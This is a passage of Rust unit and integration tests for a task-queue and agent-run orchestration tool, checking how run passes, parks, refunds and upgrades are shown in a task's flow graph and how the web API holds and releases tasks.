15695 fn parent_task() -> Task {
15696 let mut p = flow_task(&[]);
15697 p.title = "Parent title".to_owned();
15698 p.status = TaskStatus::Done;
15699 p
15700 }
15701
15702 #[test]
15703 fn flow_opens_with_the_parent_task_of_a_followup() {
15704 let p = parent_task();
15705 let pid = p.id.clone();
15706 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15707 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15708 let n = &f.nodes[0];
15709 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15710 assert_eq!(
15711 n.label,
15712 format!("Follow-up of {}", crate::queue::short(&pid))
15713 );
15714 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15715 assert_eq!(n.status, Some("done"));
15716 assert_eq!(n.status_of, "task");
15717 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15718 assert_eq!(f.nodes[1].key, "start");
15719 assert_eq!(f.edges[0].from, "origin");
15720 assert_eq!(
15721 f.edges[0].label,
15722 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15723 );
15724 }
15725
15726 #[test]
15727 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15728 let o = followup_origin(
15729 &fu(Some("gone")),
15730 |_| None,
15731 |_| {
15732 Some(RunState::new(
15733 std::path::PathBuf::from("."),
15734 "main".to_owned(),
15735 "0".to_owned(),
15736 "t".to_owned(),
15737 crate::config::Config::default(),
15738 ))
15739 },
15740 );
15741 assert!(o.parent.is_none());
15742 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15743 let n = &f.nodes[0];
15744 assert_eq!(n.status_of, "run");
15745 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15746 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15747 }
15748
15749 #[test]
15750 fn flow_followup_with_nothing_readable_has_no_link() {
15751 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15752 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15753 let n = &f.nodes[0];
15754 assert_eq!(n.href, None);
15755 assert_eq!(n.note, Some("unreadable"));
15756 assert!(!n.readable);
15757 }
15758
15759 #[test]
15760 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15761 let o = followup_origin(&fu(None), |_| None, |_| None);
15762 let mut t = flow_task(&[]);
15763 t.origin_chat = Some("c1".to_owned());
15764 let f = task_flow(&t, &[], 5, Some(&o));
15765 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15766 t.source = Source::Agent {
15767 run: "c1".to_owned(),
15768 node: crate::queue::CHAT_NODE.to_owned(),
15769 };
15770 let f = task_flow(&t, &[], 5, Some(&o));
15771 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15772 assert_eq!(
15773 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15774 ("chat", "origin")
15775 );
15776 }
15777
15778 #[test]
15779 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15780 let mut p = parent_task();
15781 p.id = "a b/c".to_owned();
15782 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15783 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15784 }
15785
15786 #[test]
15787 fn flow_opens_with_the_chat_that_queued_the_task() {
15788 let mut t = flow_task(&[]);
15789 t.source = Source::Agent {
15790 run: "a b/c".to_owned(),
15791 node: crate::queue::CHAT_NODE.to_owned(),
15792 };
15793 let f = flow_for(&t, &[]);
15794 assert_eq!(f.nodes[0].key, "chat");
15795 assert_eq!(f.nodes[0].kind, "chat");
15796 assert_eq!(
15797 f.nodes[0].label,
15798 format!("Chat {}", crate::queue::short("a b/c"))
15799 );
15800 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15801 assert_eq!(f.nodes[1].key, "start");
15802 assert_eq!(
15803 f.edges[0],
15804 FlowEdge {
15805 from: "chat".to_owned(),
15806 to: "start".to_owned(),
15807 label: "queued from chat".to_owned(),
15808 attempt: AttemptCost::None,
15809 }
15810 );
15811 }
15812
15813 #[test]
15814 fn flow_has_no_chat_box_for_other_sources() {
15815 for source in [
15816 Source::Human,
15817 Source::Issue {
15818 number: 3,
15819 repo: "o/r".to_owned(),
15820 },
15821 Source::Agent {
15822 run: "20260904-014455-ab12".to_owned(),
15823 node: "implement".to_owned(),
15824 },
15825 ] {
15826 let mut t = flow_task(&[]);
15827 t.source = source;
15828 let f = flow_for(&t, &[]);
15829 assert_eq!(f.nodes[0].key, "start");
15830 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15831 assert!(f.edges.iter().all(|e| e.from != "chat"));
15832 }
15833 }
15834
15835 const FA: &str = "20260902-140501-aaaa";
15836 const FB: &str = "20260902-140502-bbbb";
15837
15838 #[test]
15839 fn flow_follows_blocked_retry_merged_to_done() {
15840 let mut t = flow_task(&[FA, FB]);
15841 t.status = TaskStatus::Done;
15842 let f = flow_for(
15843 &t,
15844 &[
15845 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15846 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15847 ],
15848 );
15849 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15850 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15851 assert_eq!(f.edges.len(), 3);
15852 assert_eq!(f.edges[0].label, "claimed");
15853 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15854 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15855 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15856 assert_eq!(
15857 f.nodes[2].href.as_deref(),
15858 Some("#/runs/20260902-140502-bbbb")
15859 );
15860 assert!(f.nodes[2].decided);
15861 }
15862
15863 #[test]
15864 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15865 let quota = || {
15866 flow_run(RunStatus::Stalled, |s| {
15867 s.quota.push(crate::run::QuotaLoss {
15868 seat: "judge-1".to_owned(),
15869 node: "judge".to_owned(),
15870 at: Timestamp::now(),
15871 reset: None,
15872 })
15873 })
15874 };
15875 let mut t = flow_task(&[FA, FA]);
15876 t.status = TaskStatus::Queued;
15877 let f = flow_for(&t, &[(FA, Some(quota()))]);
15878 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15879 assert_eq!(f.nodes[1].note, Some("interrupted"));
15880 assert_eq!(
15881 f.nodes[1].status, None,
15882 "no outcome copied onto an earlier pass"
15883 );
15884 assert_eq!(
15885 f.edges[1].attempt,
15886 AttemptCost::Unknown,
15887 "a resume does not prove the earlier pass was refunded"
15888 );
15889 assert!(f.edges[1].label.contains("resume the same run"));
15890 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15891 assert_eq!(
15892 f.edges[2].label,
15893 "stalled after a resume, refund unknown \u{2192} queued"
15894 );
15895 assert!(!f.nodes[2].decided, "a stall is not a decision");
15896 assert_eq!(f.nodes[2].note, Some("no verdict"));
15897 }
15898
15899 #[test]
15900 fn flow_single_pass_quota_stall_is_refunded() {
15901 let t = flow_task(&[FA]);
15902 let f = flow_for(
15903 &t,
15904 &[(
15905 FA,
15906 Some(flow_run(RunStatus::Stalled, |s| {
15907 s.quota.push(crate::run::QuotaLoss {
15908 seat: "judge-1".to_owned(),
15909 node: "judge".to_owned(),
15910 at: Timestamp::now(),
15911 reset: None,
15912 })
15913 })),
15914 )],
15915 );
15916 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15917 }
15918
15919 #[test]
15920 fn flow_parked_refunds_and_stall_without_quota_spends() {
15921 let mut t = flow_task(&[FA]);
15922 t.status = TaskStatus::Queued;
15923 let f = flow_for(
15924 &t,
15925 &[(
15926 FA,
15927 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15928 )],
15929 );
15930 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15931 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15932 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15933 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15934 assert!(!f.nodes[1].decided);
15935 }
15936
15937 #[test]
15938 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15939 let t = flow_task(&[FA, FB]);
15940 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15941 assert_eq!(f.nodes[1].note, Some("unreadable"));
15942 assert!(!f.nodes[1].readable);
15943 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15944 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15945 }
15946
15947 #[test]
15948 fn flow_names_the_branch_of_a_review_only_run() {
15949 let t = flow_task(&[FA]);
15950 let f = flow_for(
15951 &t,
15952 &[(
15953 FA,
15954 Some(flow_run(RunStatus::Merged, |s| {
15955 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15956 })),
15957 )],
15958 );
15959 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15960 assert_eq!(
15961 f.nodes[1].detail.as_deref(),
15962 Some("review-only run of branch magi/x/A")
15963 );
15964 }
15965
15966 #[test]
15967 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15968 let mut t = flow_task(&[FA]);
15969 t.status = TaskStatus::Held;
15970 let pr = crate::run::PrRecord {
15971 url: "https://example.test/pr/1".to_owned(),
15972 number: 1,
15973 state: "open".to_owned(),
15974 checks: "green".to_owned(),
15975 round: 0,
15976 rounds: 3,
15977 red_at_merge: Vec::new(),
15978 };
15979 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15980 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15981 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15982 t.status = TaskStatus::Done;
15983 let f = flow_for(&t, &[(FA, Some(blocked))]);
15984 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15985 }
15986
15987 #[test]
15988 fn flow_with_no_runs_goes_from_queued_to_queued() {
15989 let t = flow_task(&[]);
15990 let f = flow_for(&t, &[]);
15991 assert_eq!(f.nodes.len(), 2);
15992 assert_eq!(f.edges.len(), 1);
15993 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15994 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15995 }
15996
15997 #[test]
16000 fn a_parked_non_terminal_run_is_explained_as_parked() {
16001 let mut s = RunState::new(
16002 PathBuf::from("/repo/magi"),
16003 "main".to_owned(),
16004 "0123456789abcdef".to_owned(),
16005 "Do it".to_owned(),
16006 Config::default(),
16007 );
16008 s.status = RunStatus::Implementing;
16009 s.parked = true;
16010 let task = Task::new(
16011 "t".to_owned(),
16012 "Do it".to_owned(),
16013 PathBuf::from("/repo/magi"),
16014 Source::Human,
16015 );
16016 let v = task_run_view(
16017 "20260902-140501-aaaa",
16018 Some(&s),
16019 RunSlot {
16020 n: 1,
16021 resumed: false,
16022 resumed_later: None,
16023 prior: None,
16024 last: true,
16025 ..RunSlot::default()
16026 },
16027 &task,
16028 );
16029 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16030 }
16031
16032 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16033 let mut s = flow_run(RunStatus::Implementing, edit);
16034 s.parked = false;
16035 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16036 task_run_view(
16037 "20260902-140501-aaaa",
16038 Some(&s),
16039 RunSlot {
16040 n: 1,
16041 resumed: false,
16042 resumed_later: Some(2),
16043 prior: None,
16044 last: false,
16045 ..RunSlot::default()
16046 },
16047 &task,
16048 )
16049 }
16050
16051 #[test]
16052 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16053 let v = earlier_pass_view(|_| {});
16054 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16055 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16056 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16057 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16058 assert_eq!(v.exit, RunExit::Interrupted);
16059 assert_eq!(v.attempt, AttemptCost::Unknown);
16060 }
16061
16062 #[test]
16063 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16064 let v = earlier_pass_view(|s| {
16065 s.quota.push(crate::run::QuotaLoss {
16066 seat: "judge-1".to_owned(),
16067 node: "judge".to_owned(),
16068 at: Timestamp::now(),
16069 reset: None,
16070 });
16071 });
16072 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16073 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16074 assert_eq!(v.attempt, AttemptCost::Unknown);
16075 }
16076
16077 #[test]
16078 fn the_current_pass_states_its_recorded_cause_and_cost() {
16079 let slot = || RunSlot {
16080 n: 1,
16081 resumed: false,
16082 resumed_later: None,
16083 prior: None,
16084 last: true,
16085 ..RunSlot::default()
16086 };
16087 let task = flow_task(&["20260902-140501-aaaa"]);
16088 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16089 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16090 assert_eq!(
16091 (v.exit, v.attempt),
16092 (RunExit::Parked, AttemptCost::Refunded)
16093 );
16094 let spent = flow_run(RunStatus::Blocked, |_| {});
16095 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16096 assert_eq!(v.attempt, AttemptCost::Spent);
16097 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16098 }
16099
16100 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16101 crate::run::RunPass {
16102 index,
16103 started_at: Timestamp::now(),
16104 resumed: index > 0,
16105 ended_at: end.as_ref().map(|_| Timestamp::now()),
16106 end,
16107 task_entry: true,
16108 }
16109 }
16110
16111 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16112 Some(crate::run::PassEnd::Parked { cause })
16113 }
16114
16115 fn upgrade_cause() -> crate::run::ParkCause {
16116 crate::run::ParkCause::Upgrade {
16117 from: "0.121.0".to_owned(),
16118 to: Some("0.121.1".to_owned()),
16119 }
16120 }
16121
16122 fn settled_pass(
16123 run: &str,
16124 index: usize,
16125 cost: crate::queue::PassCost,
16126 ) -> crate::queue::TaskPass {
16127 crate::queue::TaskPass {
16128 run: run.to_owned(),
16129 pass_index: index,
16130 started_at: None,
16131 cost,
16132 attempts_after: 1,
16133 settled_at: Timestamp::now(),
16134 parked: None,
16135 }
16136 }
16137
16138 const RUN_X: &str = "20261011-223708-4334";
16139
16140 #[test]
16141 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16142 use crate::queue::PassCost;
16143 let run = flow_run(RunStatus::Implementing, |s| {
16144 s.passes = vec![
16145 recorded_pass(0, parked(upgrade_cause())),
16146 recorded_pass(1, None),
16147 ];
16148 });
16149 let mut task = flow_task(&[RUN_X, RUN_X]);
16150 task.attempts = 1;
16151 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16152 let h = task_history(&task, |_| Some(run.clone()));
16153 assert_eq!(h.len(), 2);
16154 assert_eq!(h[0].kind, "competition");
16155 assert_eq!(h[1].kind, "resume");
16156 assert_eq!(
16157 (h[0].exit, h[0].attempt),
16158 (RunExit::Parked, AttemptCost::Refunded)
16159 );
16160 assert!(
16161 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16162 "{}",
16163 h[0].outcome
16164 );
16165 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16166 assert!(
16167 h[0].outcome.contains("pass #2 resumed the same run"),
16168 "{}",
16169 h[0].outcome
16170 );
16171 assert!(
16172 h[0].outcome.contains("pass 1 of 2 over run"),
16173 "{}",
16174 h[0].outcome
16175 );
16176 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16177 assert_eq!(
16178 h[0].exit_label,
16179 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16180 );
16181 let f = task_flow(&task, &h, 2, None);
16182 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16184 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16185 assert!(
16186 f.edges[1].label.contains("upgrade 0.121.0"),
16187 "{}",
16188 f.edges[1].label
16189 );
16190 assert!(
16191 f.edges[1].label.contains("resume the same run"),
16192 "{}",
16193 f.edges[1].label
16194 );
16195 assert_eq!(f.nodes[1].note, Some("parked"));
16196 }
16197
16198 #[test]
16199 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16200 let mut a = flow_run(RunStatus::Implementing, |s| {
16201 s.passes = vec![
16202 recorded_pass(0, parked(upgrade_cause())),
16203 recorded_pass(1, None),
16204 ];
16205 });
16206 let mut b = flow_run(RunStatus::Failed, |s| {
16207 s.passes = vec![recorded_pass(0, None)];
16208 });
16209 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16210 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16211 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16212 let mut task = flow_task(&[]);
16213 task.start("a".into());
16214 task.start("b".into());
16215 task.start("a".into());
16216 assert_eq!(task.runs, ["b", "a"]);
16217 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16218 let h = task_history(&task, |id| {
16219 Some(if id == "a" { a.clone() } else { b.clone() })
16220 });
16221 assert_eq!(
16222 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16223 ["a", "b", "a"]
16224 );
16225 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16226 assert!(h[0].outcome.contains("upgrade"));
16227 assert_eq!(h[2].kind, "resume");
16228 assert!(h[2].pass.is_some());
16229 task.runs = vec!["a".into(), "b".into(), "a".into()];
16231 let old = task_history(&task, |id| {
16232 Some(if id == "a" { a.clone() } else { b.clone() })
16233 });
16234 assert_eq!(
16235 old.iter()
16236 .map(|v| (&v.id, &v.kind, v.attempt))
16237 .collect::<Vec<_>>(),
16238 h.iter()
16239 .map(|v| (&v.id, &v.kind, v.attempt))
16240 .collect::<Vec<_>>()
16241 );
16242 }
16243
16244 #[test]
16245 fn an_upgrade_whose_target_was_not_known_says_so() {
16246 let run = flow_run(RunStatus::Implementing, |s| {
16247 s.passes = vec![
16248 recorded_pass(
16249 0,
16250 parked(crate::run::ParkCause::Upgrade {
16251 from: "0.121.0".to_owned(),
16252 to: None,
16253 }),
16254 ),
16255 recorded_pass(1, None),
16256 ];
16257 });
16258 let task = flow_task(&[RUN_X, RUN_X]);
16259 let h = task_history(&task, |_| Some(run.clone()));
16260 assert!(
16261 h[0].outcome.contains("upgrade from 0.121.0"),
16262 "{}",
16263 h[0].outcome
16264 );
16265 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16267 }
16268
16269 #[test]
16270 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16271 use crate::queue::PassCost;
16272 use crate::run::ParkCause;
16273 let run = flow_run(RunStatus::Implementing, |s| {
16274 s.passes = vec![
16275 recorded_pass(0, parked(upgrade_cause())),
16276 recorded_pass(
16277 1,
16278 parked(ParkCause::Interrupt {
16279 reason: "task a1b2 asked to run first".to_owned(),
16280 }),
16281 ),
16282 recorded_pass(2, parked(ParkCause::Operator)),
16283 recorded_pass(3, None),
16284 ];
16285 });
16286 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16287 task.attempts = 1;
16288 task.passes = (0..3)
16289 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16290 .collect();
16291 let h = task_history(&task, |_| Some(run.clone()));
16292 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16293 assert!(
16294 h[1].outcome.contains("task a1b2 asked to run first"),
16295 "{}",
16296 h[1].outcome
16297 );
16298 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16299 assert!(
16300 h[2].outcome.contains("operator asked the loop to park"),
16301 "{}",
16302 h[2].outcome
16303 );
16304 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16305 let f = task_flow(&task, &h, 2, None);
16306 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16307 }
16308
16309 #[test]
16310 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16311 let run = flow_run(RunStatus::Implementing, |s| {
16312 s.passes = vec![
16313 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16314 recorded_pass(1, None),
16315 ];
16316 });
16317 let task = flow_task(&[RUN_X, RUN_X]);
16318 let h = task_history(&task, |_| Some(run.clone()));
16319 assert_eq!(h[0].exit, RunExit::Interrupted);
16320 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16321 assert!(
16322 h[0].outcome.contains("without recording why"),
16323 "{}",
16324 h[0].outcome
16325 );
16326 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16327 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16328 }
16329
16330 #[test]
16331 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16332 use crate::queue::PassCost;
16333 let run = flow_run(RunStatus::Implementing, |s| {
16336 s.passes = vec![
16337 recorded_pass(0, parked(upgrade_cause())),
16338 recorded_pass(1, None),
16339 ];
16340 });
16341 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16342 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16343 let h = task_history(&task, |_| Some(run.clone()));
16344 assert!(h[0].pass.is_none());
16345 assert_eq!(h[0].exit, RunExit::Interrupted);
16346 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16347 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16348 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16349 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16350 let legacy = flow_run(RunStatus::Implementing, |_| {});
16352 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16353 assert!(h.iter().all(|v| v.pass.is_none()));
16354 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16355 }
16356
16357 #[test]
16358 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16359 use crate::queue::PassCost;
16360 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16363 web.task_entry = false;
16364 let run = flow_run(RunStatus::Implementing, |s| {
16365 s.passes = vec![
16366 recorded_pass(0, parked(upgrade_cause())),
16367 web.clone(),
16368 recorded_pass(2, None),
16369 ];
16370 });
16371 let mut task = flow_task(&[RUN_X, RUN_X]);
16372 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16373 let h = task_history(&task, |_| Some(run.clone()));
16374 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16375 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16376
16377 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16380 web0.task_entry = false;
16381 let run = flow_run(RunStatus::Implementing, |s| {
16382 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16383 });
16384 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16385 assert!(h[0].pass.is_none());
16386 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16387 assert!(h[1].pass.is_some());
16388 }
16389
16390 #[tokio::test]
16391 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16392 let dir = tempfile::tempdir().unwrap();
16393 let queue = Queue::at(dir.path().join("queue"));
16394 let ui = Arc::new(Ui::new(
16395 queue.clone(),
16396 Questions::at(dir.path().join("questions")),
16397 Talks::at(dir.path().join("talks")),
16398 dir.path().join("runs"),
16399 dir.path().to_path_buf(),
16400 dir.path().to_path_buf(),
16401 ));
16402 let mut t = Task::new(
16403 "recover".into(),
16404 "Inspect".into(),
16405 PathBuf::from("."),
16406 Source::Human,
16407 );
16408 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16409 t.start("run-A".into());
16410 t.release_operator("choice", Some("resume-question"));
16411 t.resume_override = Some(crate::queue::OperatorResume {
16412 question_id: "resume-question".into(),
16413 at: jiff::Timestamp::now(),
16414 conductor_rehold: None,
16415 forced: true,
16416 pinned_run: Some("run-A".into()),
16417 });
16418 t.hold_machine(Some("inspection pending".into()));
16419 t.edit("recover".into(), "Reuse approved PR head".into())
16420 .unwrap();
16421 queue.put(&mut t).unwrap();
16422 let mut cli = t.clone();
16423 cli.release_operator("cli", None);
16424 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16425 let reloaded = queue.get(&t.id).unwrap();
16426 assert_eq!(reply.task.status, TaskStatus::Queued);
16427 assert!(reloaded.resume_override.is_none());
16428 assert_eq!(reloaded.answers, t.answers);
16429 let mut web = reloaded.resumption.unwrap();
16430 let cli = cli.resumption.unwrap();
16431 assert_eq!(web.source, "web");
16432 web.source = cli.source.clone();
16433 web.at = cli.at;
16434 assert_eq!(web, cli);
16435 }
16436
16437 #[tokio::test]
16438 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16439 let f = Fixture::start().await;
16440 let queue = f.queue();
16441 let mut task = Task::new(
16442 "spent".to_owned(),
16443 "Try again".to_owned(),
16444 PathBuf::from("/repo/magi"),
16445 Source::Human,
16446 );
16447 task.start("20260902-140502-bbbb".to_owned());
16448 task.fail("agent gave up", 9);
16449 queue.put(&mut task).expect("file the task");
16450
16451 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16452 assert_eq!(held.status, 200);
16453 assert_eq!(held.json()["status_str"], "held");
16454
16455 let released = f
16456 .post(&format!("/api/queue/{}/release", task.id), None)
16457 .await;
16458 assert_eq!(released.status, 200);
16459 assert_eq!(released.json()["status_str"], "queued");
16460 assert_eq!(released.json()["resumption"]["source"], "web");
16461 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16462 let mut cli = task.clone();
16463 cli.release_operator("cli", None);
16464 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16465 let cli = cli.resumption.unwrap();
16466 assert_eq!(web.instruction, cli.instruction);
16467 assert_eq!(web.answers_through, cli.answers_through);
16468 assert_eq!(web.runs_through, cli.runs_through);
16469 assert_eq!(web.cleared_reason, cli.cleared_reason);
16470 assert_eq!(
16471 released.json()["attempts"],
16472 0,
16473 "release is a real second chance, not an instant re-hold"
16474 );
16475 assert_eq!(
16476 queue.get(&task.id).expect("reload").status,
16477 TaskStatus::Queued,
16478 "the change is on disk, not only in the reply"
16479 );
16480 assert!(
16481 !f.home
16482 .path()
16483 .join("queue")
16484 .join(format!("{}.lock", task.id))
16485 .exists(),
16486 "the claim the mutation took is released again"
16487 );
16488 }
16489
16490 #[tokio::test]
16491 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16492 let f = Fixture::start().await;
16493 let queue = f.queue();
16494 let mut task = Task::new(
16495 "busy".to_owned(),
16496 "Running right now".to_owned(),
16497 PathBuf::from("/repo/magi"),
16498 Source::Human,
16499 );
16500 queue.put(&mut task).expect("file the task");
16501 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16502
16503 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16504
16505 assert_eq!(res.status, 409);
16506 assert_eq!(
16507 queue.get(&task.id).expect("reload").status,
16508 TaskStatus::Queued,
16509 "the refused hold changed nothing"
16510 );
16511 }
16512
16513 #[tokio::test]
16514 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16515 let f = Fixture::start().await;
16516 let queue = f.queue();
16517 let mut task = Task::new(
16518 "waiting on the migration".to_owned(),
16519 "Do the thing".to_owned(),
16520 PathBuf::from("/repo/magi"),
16521 Source::Human,
16522 );
16523 queue.put(&mut task).expect("file the task");
16524
16525 let held = f
16526 .post(
16527 &format!("/api/queue/{}/hold", task.id),
16528 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16529 )
16530 .await;
16531 assert_eq!(held.status, 200, "{}", held.body);
16532 assert_eq!(held.json()["status_str"], "held");
16533 assert_eq!(
16534 held.json()["hold_reason"],
16535 "waiting for 20260101-000000-aaaa to land"
16536 );
16537
16538 let listed = f.get("/api/queue").await.json();
16539 assert_eq!(
16540 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16541 "the card reads the reason off the same list route"
16542 );
16543
16544 let mut plain = Task::new(
16547 "no reason given".to_owned(),
16548 "Do another thing".to_owned(),
16549 PathBuf::from("/repo/magi"),
16550 Source::Human,
16551 );
16552 queue.put(&mut plain).expect("file the task");
16553 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16554 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16555 assert!(held_plain.json()["hold_reason"].is_null());
16556
16557 let released = f
16558 .post(&format!("/api/queue/{}/release", task.id), None)
16559 .await;
16560 assert_eq!(released.status, 200);
16561 assert!(
16562 released.json()["hold_reason"].is_null(),
16563 "a release must clear the reason so the next hold does not inherit it"
16564 );
16565 }
16566
16567 #[test]
16568 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16569 for urgent in [true, false] {
16570 let body: UrgentBody =
16571 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16572 assert_eq!(body.urgent, urgent);
16573 }
16574 for input in [
16575 r#"{}"#,
16576 r#"{"urgent":null}"#,
16577 r#"{"urgent":"true"}"#,
16578 r#"{"urgent":1}"#,
